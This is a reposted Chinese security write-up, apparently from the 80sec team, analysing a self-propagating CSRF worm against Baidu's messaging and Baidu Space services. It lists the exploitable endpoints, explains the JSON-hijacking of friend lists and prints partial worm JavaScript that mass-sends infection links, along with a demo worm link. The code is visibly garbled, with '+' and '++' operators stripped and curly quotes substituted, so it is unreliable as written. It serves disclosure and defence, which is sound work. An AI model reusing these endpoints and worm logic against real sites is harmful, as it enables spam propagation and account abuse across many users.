明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

百度Hi Csrf蠕蟲(chóng)攻擊

[摘要]漏洞起因:百度是國(guó)內(nèi)最大的中文搜索引擎。同時(shí)百度也提供了百度空間、百度貼吧等BLOG社區(qū)服務(wù),擁有海量的用戶(hù)群,號(hào)稱(chēng)全球最大中文社區(qū)。80sec 發(fā)現(xiàn)過(guò)百度產(chǎn)品一系列的安全漏洞,其中一些問(wèn)題得到了有...

漏洞起因:百度是國(guó)內(nèi)最大的中文搜索引擎。同時(shí)百度也提供了百度空間、百度貼吧等BLOG社區(qū)服務(wù),擁有海量的用戶(hù)群,號(hào)稱(chēng)全球最大中文社區(qū)。80sec 發(fā)現(xiàn)過(guò)百度產(chǎn)品一系列的安全漏洞,其中一些問(wèn)題得到了有效的修補(bǔ),但是百度的產(chǎn)品仍然存在很多嚴(yán)重的安全漏洞,利用這些漏洞黑客可以制作Web蠕蟲(chóng),影響 百度所有的用戶(hù)。

CSRF worm技術(shù)分析:

一. 百度用戶(hù)中心短消息功能存在CSRF漏洞

百度用戶(hù)中心短消息功能和百度空間、百度貼吧等產(chǎn)品相互關(guān)聯(lián),用戶(hù)可以給指定百度ID用戶(hù)發(fā)送短消息,在百度空間用互為好友的情況下,發(fā)送短消息 將沒(méi)有任何限制,同時(shí)由于百度程序員在實(shí)現(xiàn)短消息功能時(shí)使用了$_REQUEST類(lèi)變量傳參,給黑客利用CSRF漏洞進(jìn)行攻擊提供了很大的方便。百度用戶(hù) 中心短消息功能的請(qǐng)求參數(shù)能夠被完全預(yù)測(cè),只需要指定sn參數(shù)為發(fā)送消息的用戶(hù),co參數(shù)為消息內(nèi)容,就可以成功發(fā)送短消息,如下:

http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用戶(hù)賬號(hào)&co=消息內(nèi)容

該漏洞在07年被應(yīng)用于80SEC測(cè)試的百度XSS WORM中,至今尚未修補(bǔ)。

二. 百度空間好友json數(shù)據(jù)泄露問(wèn)題

百度空間的好友功能數(shù)據(jù)是使用json格式實(shí)現(xiàn)的,此接口沒(méi)有做任何的安全限制,只需將un參數(shù)設(shè)定為任意用戶(hù)賬號(hào),就可以獲得指定用戶(hù)的百度好友數(shù)據(jù),如下

http://frd.baidu.com/?ct=28&un=用戶(hù)賬號(hào)&cm=FriList&tn=bmABCFriList&callback=gotfriends

該漏洞可以直接被Javascript劫持技術(shù)利用,獲取用戶(hù)的好友信息.

三. 百度認(rèn)證問(wèn)題

web攻擊不可避免地依賴(lài)于系統(tǒng)的認(rèn)證,而在百度的認(rèn)證系統(tǒng)里,所有認(rèn)證基于SESSION,這樣在IE里就不會(huì)被IE的隱私策略阻止,會(huì)話認(rèn)證信息每次都會(huì)被發(fā)送出去,為我們?nèi)湎x(chóng)的傳播提供了必要的條件。

四. CSRF JavaScript_Hijacking Session Auth= CSRF worm

CSRF攻擊結(jié)合Javascript劫持技術(shù)完全可以實(shí)現(xiàn)CSRF worm,百度產(chǎn)品的這兩個(gè)安全問(wèn)題為實(shí)現(xiàn)Web蠕蟲(chóng)提供了所有的條件,80Sec團(tuán)隊(duì)已經(jīng)編寫(xiě)出一只完整的百度csrf蠕蟲(chóng),這是一只完全由客戶(hù)端腳本 實(shí)現(xiàn)的CSRF蠕蟲(chóng),這只蠕蟲(chóng)實(shí)際上只有一條鏈接,受害者點(diǎn)擊這條鏈接后,將會(huì)自動(dòng)把這條鏈接通過(guò)短消息功能傳給受害者所有的好友,因?yàn)榘俣扔脩?hù)基數(shù)很 大,所以蠕蟲(chóng)的傳播速度將會(huì)呈幾何級(jí)成長(zhǎng),下面對(duì)csrf蠕蟲(chóng)部分代碼進(jìn)行分析:

1. 模擬服務(wù)端取得request的參數(shù)

var lsURL=window.location.href;
loU = lsURL.split(”?”);
if (loU.length>1)
{
var loallPm = loU[1].split(”&”);

省略…………….

定義蠕蟲(chóng)頁(yè)面服務(wù)器地址,取得?和&符號(hào)后的字符串,從URL中提取得感染蠕蟲(chóng)的用戶(hù)名和感染蠕蟲(chóng)者的好友用戶(hù)名。

2. 好友json數(shù)據(jù)的動(dòng)態(tài)獲取

var gotfriends = function (x)
{
for(i=0;i<x[2].length;i )
{
friends.push(x[2][i][1]);
}
}
loadjson(’<script src=”http://frd.baidu.com/?ct=28&un=’ lusername ’&cm=FriList&tn=bmABCFriList&callback=gotfriends&.tmp=&1=2″></script>’);

通過(guò)CSRF漏洞從遠(yuǎn)程加載受害者的好友json數(shù)據(jù),根據(jù)該接口的json數(shù)據(jù)格式,提取好友數(shù)據(jù)為蠕蟲(chóng)的傳播流程做準(zhǔn)備。

3. 感染信息輸出和消息發(fā)送的核心部分

evilurl=url ”/wish.php?from=” lusername ”&to=”;
sendmsg=”http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[user]&co=[evilmsg]”
for(i=0;i<friends.length;i ){
省略…………….
mysendmsg=mysendmsg ”&” i;
eval(’x' i ’=new Image();x’ i ’.src=unescape(”‘ mysendmsg ’”);’);
省略…………….

整個(gè)蠕蟲(chóng)最核心的部分,按照蠕蟲(chóng)感染的邏輯,將感染者用戶(hù)名和需要傳播的好友用戶(hù)名放到蠕蟲(chóng)鏈接內(nèi),最后輸出短消息內(nèi)容,使用一個(gè)FOR循環(huán)結(jié)構(gòu)歷遍所有好友數(shù)據(jù),通過(guò)圖片文件請(qǐng)求向所有的好友發(fā)送感染鏈接信息。

4. 注意細(xì)節(jié)

由于需要?jiǎng)討B(tài)加載json數(shù)據(jù)運(yùn)行,所以必須注意各個(gè)函數(shù)執(zhí)行的先后順序,否則json數(shù)據(jù)還未加載完畢,蠕蟲(chóng)核心部分的流程將跑不起來(lái)。

5. CSRF Worm DEMO頁(yè)

這里我們提供了一個(gè)百度CSRF Worm DEMO頁(yè)僅供大家進(jìn)行安全測(cè)試,非安全測(cè)試的其他行為,80SEC將不負(fù)任何責(zé)任。測(cè)試方法:

將to參數(shù)設(shè)置為自己的用戶(hù)名,登陸百度后點(diǎn)擊鏈接或直接進(jìn)入頁(yè)面

http://www.80sec.com/wish.php?to=自己的百度用戶(hù)名

五 CSRF worm安全提醒:

除開(kāi)百度,國(guó)內(nèi)的社區(qū)類(lèi)、Web2.0類(lèi)網(wǎng)站如校內(nèi)網(wǎng)、Myspace、飯否等都存在這類(lèi)安全問(wèn)題,黑客可以直接通過(guò)CSRF攻擊配合各種功能應(yīng) 用針對(duì)網(wǎng)站進(jìn)行CSRF worm攻擊,網(wǎng)站可以參考http://www.80sec.com/csrf-securit.html文檔中的安全提醒做進(jìn)一步的防范。

百度Hi Csrf蠕蟲(chóng)攻擊:http://www.80sec.com/baidu-hi-scrf-worm-attac.html


上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識(shí),學(xué)習(xí)了安全知識(shí),幾乎可以讓你免費(fèi)電腦中毒的煩擾。